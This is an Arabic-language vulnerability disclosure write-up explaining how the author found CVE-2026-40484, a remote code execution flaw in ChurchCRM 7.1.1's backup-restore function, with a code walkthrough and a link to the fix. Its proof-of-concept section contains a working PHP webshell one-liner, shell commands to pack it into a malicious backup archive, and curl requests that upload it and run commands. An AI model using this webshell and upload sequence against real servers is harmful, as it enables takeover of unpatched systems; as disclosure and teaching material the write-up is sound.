⚠️ تنبيه: هذا المقال لأغراض تعليمية بحتة. يُرجى الاختبار فقط على الأنظمة المُرخَّصة.

الأنظمة المتأثرةالتأثيرنوع الثغرة
ChurchCRMخطير 9.1تنفيذ أوامر برمجية عن بُعد

مقدمة

السلام عليكم ورحمة الله وبركاته. في هذا المقال سأتناول كيف تمكّنتُ من العثور على ثغرة CVE-2026-40484 منذ اللحظة الأولى وحتى تسجيلها ونشرها في قواعد بيانات MITRE.

بداية العمل

للحصول على الاعتماد التركي بأعلى مستوى، يُشترط أن يكون لديّ على الأقل ثغرة CVE واحدة مُسجَّلة باسمي. ومن هنا انطلقت رحلة البحث عن أنظمة يمكن استخراج ثغرات منها في أقصر وقت ممكن.

توجّهتُ إلى منصة GitHub لأتصفّح المشاريع التي تُولي اهتمامًا للجانب الأمني في تطويرها، فوقع اختياري على مشروع ChurchCRM.

عند مراجعة الثغرات التي اكتُشفت سابقًا في المشروع، لاحظتُ وجود تقرير سابق عن ثغرة Remote Code Execution، وهذا هو رابط الثغرة التي تم العثور عليها قبل أن أبدأ بحثي في المشروع:

https://github.com/ChurchCRM/CRM/security/advisories/GHSA-pqm7-g8px-9r77

وقد تم الإبلاغ عنها بتاريخ 17 ديسمبر 2025.

ثغرة تنفيذ تعليمات برمجية عن بُعد

هناك نقطة جوهرية ينبغي على الباحثين الأمنيين الانتباه إليها، وهي أن الثغرات التي جرى إغلاقها قد تفتح البابَ لاكتشاف ثغرات جديدة. ولذلك تُعدّ هذه المواضع من أهم الأماكن التي يجب التركيز عليها. لا ينبغي الافتراض بأن إصلاح ثغرة ما يعني انتهاء المخاطر في تلك الوظيفة؛ فهذا تصوّر خاطئ تمامًا. بل على العكس، أنصح بأن يكون هذا أوّلَ مكان تبحث فيه عن الثغرات.

بناءً على ذلك، شرعتُ في محاولة تحديد موقع هذه الدالة داخل المشروع ودراستها بحثًا عن أي ثغرات محتملة.

من خلال بعض أوامر التصفية (Filtering) واستعراض مجلدات المشروع وملفاته، عثرتُ بداخله على مجلد backup الذي يحتوي على عدد من الملفات المكتوبة بلغة PHP.

ملفات الـBackup

وبعد تحليل هذه الملفات وفهم الدوال التي تتضمّنها، نجحتُ في الوصول إلى ثغرة تؤدي إلى تنفيذ تعليمات برمجية عن بُعد مجددًا. ولنستعرض تفاصيل الثغرة معًا.

تفاصيل الثغرة

يحتوي برنامج ChurchCRM الإصدار 7.1.1 على ثغرة أمنية خطيرة في وظيفة استعادة النسخ الاحتياطية لقاعدة البيانات. فعندما يقوم المسؤول برفع ملف أرشيف احتياطي بصيغة .tar.gz بهدف استعادته، يقوم التطبيق باستخراج محتويات الأرشيف ونسخ محتويات مجلد Images/ مباشرةً إلى جذر المستندات المتاح عبر الويب، وذلك باستخدام الدالة FileSystemUtils::recursiveCopyDirectory().

المشكلة أن هذه الدالة لا تُجري أي تصفية لامتدادات الملفات أثناء عملية النسخ. وبالتالي يستطيع المهاجم الذي يُنشئ ملف أرشيف احتياطي خبيث بصيغة .tar.gz يحتوي على سكربت PHP ضارّ داخل مجلد Images/ أن يجعل التطبيق يكتب هذا الملف في مسار متاح للعامة ضمن /Images/Person/ أو /Images/Family/. وبمجرد تمام الكتابة، يستطيع المهاجم إرسال طلبات HTTP إلى الملف المُنشأ لتنفيذ أوامر نظام تشغيل عشوائية بصلاحيات عملية خادم الويب (www-data).

ولكي نفهم الموضوع بصورة أدق، دعونا نحلّل الملف الذي تم العثور فيه على الثغرة.

موقع الثغرة

  • اسم الملف: RestoreJob.php
  • السطر الذي تحتوي الثغرة: 138
  • ملف مساعد: FileSystemUtils.php
  • الدالة المسؤولة عن الثغرة: FileSystemUtils::recursiveCopyDirectory()

قراءة الملف

قراءة ملف RestoreJob.php

فحص ملف RestoreJob.php

لفهم آلية عمل الملف، سنقوم بشرحه سطرًا سطرًا:

  • السطر 122: يُسجّل في سجل الأحداث (Log) أن عملية استعادة النسخة قد بدأت.
  • السطر 123: يقوم بفتح ملف النسخة الاحتياطية (الأرشيف).
  • السطر 126: يُجهّز مسارًا لمجلد مؤقت بـاسم عشوائي لاستخلاص محتويات الأرشيف فيه.
  • السطر 127: يُنشئ المجلد فعليًا على نظام الملفات.
  • السطر 130: يُفرّغ كامل محتويات الأرشيف المضغوط داخل هذا المجلد المؤقت.
  • السطر 132: يُحدّد مسار ملف قاعدة البيانات (SQL) داخل الملفات المستخرجة.
  • السطر 133: يتحقّق من وجود ملف قاعدة البيانات فعليًا.
  • السطر 134: يبدأ بتحميل ملف البيانات الجديد إلى النظام.
  • السطر 136: يحذف جميع الصور القديمة الموجودة حاليًا في المسار: SystemURLs::getDocumentRoot() . '/Images'
  • السطر 138: يأخذ الصور من المجلد المؤقت ويُرسلها إلى المسار النهائي للموقع وهو: SystemURLs::getImagesRoot()

وهنا يتم استدعاء الدالة FileSystemUtils::recursiveCopyDirectory التي تتولّى نسخ المجلد وكل ما يحتويه من ملفات وصور بشكل تكراري وتلقائي.

  • السطر 141: في حال عدم العثور على ملف البيانات، يُصدر رسالة خطأ تُفيد بأن الملف ناقص.

حتى هذه المرحلة، كل شيء يسير بشكل طبيعي. بعد إنشاء المجلد، استخدم الكود الدالة التالية لنسخ المحتويات:

FileSystemUtils::recursiveCopyDirectory

وعند محاولة تحديد موقع هذه الدالة، ظهرت لنا النتيجة التالية:

محاولة العثور على دالة أو ملف FileSystemUtils

نلاحظ أنها موجودة في هذا المسار.

قراءة ملف FileSystemUtils.php

قراءة ملف FileSystemUtils

لفهم الدالة، يجب أن نرى كيف تُنفّذ عملية النسخ. وبالذهاب إلى السطر 24 نجد الدالة نفسها، ويمكننا تحليل آلية عملها على النحو التالي:

  • السطر 28: if (file_exists($dst)) يفحص فيما إذا كان المسار الهدف موجودًا مسبقًا على الخادم، وذلك تفاديًا للتداخل.

  • السطر 29: self::recursiveRemoveDirectory($dst); في حال وجوده، يقوم بحذفه بالكامل مع جميع محتوياته لتهيئة المكان للنسخة الجديدة.

  • السطر 31: if (is_dir($src)) يفحص المسار المصدر؛ هل هو مجلد؟ (إذا كانت الإجابة نعم، يبدأ بمعالجة تفاصيله).

  • السطر 32: mkdir($dst); يُنشئ مجلدًا جديدًا في الوجهة بالاسم نفسه للمجلد الأصلي.

  • السطر 33: $files = scandir($src); يفتح المجلد ويقرأ أسماء جميع الملفات والمجلدات الموجودة داخله.

  • السطر 34: foreach ($files as $file) يبدأ حلقة تكرار للمرور على كل عنصر تم اكتشافه في الخطوة السابقة.

  • السطر 35: if ($file != '.' && $file != '..') يتجاهل الرموز التقنية التي تُمثّل المجلد الحالي والمجلد الأعلى منه، لضمان عدم الدخول في حلقة لا نهائية.

  • السطر 36: self::recursiveCopyDirectory("$src/$file", "$dst/$file"); العملية التكرارية (Recursion): هنا تستدعي الدالةُ نفسَها للدخول إلى المجلدات الفرعية وتكرار الخطوات ذاتها عليها.

  • السطر 39: } elseif (file_exists($src)) { إذا لم يكن المسار مجلدًا، يتحقق من أنه ملف موجود فعلًا.

  • السطر 40: copy($src, $dst); يقوم بنسخ الملف كما هو من المصدر إلى الوجهة.

التحليل الأمني

1. عملية نسخ عمياء

الدالة لا تتساءل «ماذا أنسخ؟»، بل تُنفّذ أمر النسخ فحسب. فلا يوجد أي فحص لمحتوى الملفات (MIME Type) ولا تحقّق ممّا إذا كان الملف صورة حقيقية أم كودًا برمجيًا متنكّرًا.

2. غياب الفحص على الامتداد

وهنا تكمن الكارثة الحقيقية؛ إذ تقوم الدالة بنسخ أي ملف مهما كان امتداده. ويستطيع المهاجم حشو ملف النسخة الاحتياطية بملفات خطيرة مثل:

  • .php
  • .phtml
  • .phar
  • .php5

وبما أن الدالة لا تمتلك «قائمة سوداء» (Blacklist) ولا «قائمة بيضاء» (Whitelist) للامتدادات، فإنها ستنقل هذه الملفات مباشرةً إلى المجلد الحي للموقع.

كمهاجم، أوّل ما يخطر في ذهنه هنا هو أنه يستطيع تحميل ملفات ضارة بامتداد PHP للسيطرة الكاملة على النظام :)

شروط الاستغلال

من خلال فهمنا للدوال وآلية عملها، يمكننا الآن تحديد الشروط اللازمة لاستغلال هذه الثغرة بنجاح:

1. وجود ملف قاعدة البيانات (ChurchCRM-Database.sql)

  • السبب: كما لاحظنا في الكود السابق (السطران 133 و141)، يقوم النظام بفحص وجود هذا الملف تحديدًا.
  • التكتيك: في حال عدم عثور الكود على هذا الملف، سيُثير استثناء (Exception) وتتوقف عملية الاستعادة فورًا. لذلك، يجب على المهاجم تضمين ملف SQL (حتى لو كان فارغًا أو يحتوي على بيانات عشوائية) لخداع النظام وجعله يستمر في التنفيذ.

2. تجاوز فحص الامتدادات

  • السبب: الدالة recursiveCopyDirectory عمياء؛ فهي تنسخ كل شيء.
  • التكتيك: يضع المهاجم ملف shell.php داخل مجلد الصور (/Images) الموجود في الأرشيف المضغوط. وبما أن الدالة لا تمتلك قائمة سوداء للامتدادات، فسيُفكّ ضغط الشال ويُوضع في المجلد الحي للموقع.

3. الوصول إلى المسار الحي

  • السبب: يحتاج المهاجم إلى معرفة المكان الذي وُضع فيه ملفه.
  • التكتيك: بما أننا نعلم أن الكود ينسخ الملفات إلى SystemURLs::getImagesRoot()، فإن المسار يكون معروفًا للمهاجم مسبقًا.

ويبقى شيء أخير ينبغي أن نعرفه: كيف يمكننا استدعاء هذه الدالة؟ لذلك يجب علينا البحث داخل الـ APIs عن الطلب الذي يُتيح استدعاءها.

محاولة معرفة كيفية استدعاء الدالة

ومن هنا يتضح أنه باستخدام المسار التالي /api/database/restore يمكننا استدعاء هذه الدالة وتشغيلها بنجاح.

التأثير

  • تنفيذ أوامر نظام التشغيل بشكل اعتباطي بصلاحيات المستخدم www-data.
  • التنقل الجانبي (Lateral Movement) داخل بيئة الخادم.
  • وجود باب خلفي دائم؛ إذ يبقى ملف الـ Shell المزروع حتى بعد إعادة تشغيل التطبيق.
  • انتهاك كامل لسرية بيانات نظام إدارة علاقات العملاء وسلامتها وتوافرها.

إثبات المفهوم (Proof of Concept)

أولًا، يجب أن نُنشئ ملفًا مضغوطًا يحتوي على:

  1. ChurchCRM-Database.sql
  2. /Images/Person/shell.php

ويمكننا استخدام الكود التالي لذلك:

mkdir -p evil_backup/Images/Person
echo "SQL backup Test" > evil_backup_test/ChurchCRM-Database.sql

# إنشاء باب خلفي بلغة الـPHP
echo '<?php system($_GET["cmd"]); ?>' > evil_backup_test/Images/Person/shell.php

# ضغط الملف
cd evil_backup
tar -czf /tmp/evil_restore_test.tar.gz ChurchCRM-Database.sql Images/

بنية الملف:

ChurchCRM-Database.sql
Images/
Images/Person/
Images/Person/shell.php      ← PHP webshell

ثانيًا، الرفع باستخدام الـ API:

curl -s \
  -b "CRM-SESSION=<session_cookie>" \
  "http://localhost/churchcrm/api/database/restore" \
  -X POST \
  -F "restoreFile=@/tmp/evil_restore_test.tar.gz;type=application/gzip"

سيكون رد الخادم كالتالي: HTTP 200

{
  "Messages": [
    "As part of the restore, external backups have been disabled..."
  ]
}

وبعد ذلك، سيتم رفع الملف الضار داخل المسار التالي:

Images/Person/shell.php

وبمجرد محاولة إرسال طلب إلى هذا المكان، سنلاحظ أنه يمكننا تنفيذ أوامر برمجية عن بُعد بنجاح!

curl "http://localhost/churchcrm/Images/Person/shell.php?cmd=id"

المخرجات:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

إثبات المفهوم بالصور

1. إنشاء الملف المضغوط:

إنشاء ملف مضغوط

2. رفع الملف والتأكد من نجاح الرفع:

رفع الملف والتأكد من نجاح الرفع

3. تنفيذ الأمر id:

تنفيذ الأمر id

إصلاح الثغرة

لإصلاح الثغرة، تم إضافة جميع التفاصيل والأكواد اللازمة في الـ Commit التالي:

https://github.com/ChurchCRM/CRM/commit/68be1d12bc4cc1429575ae797ef05efe47030d39

المصادر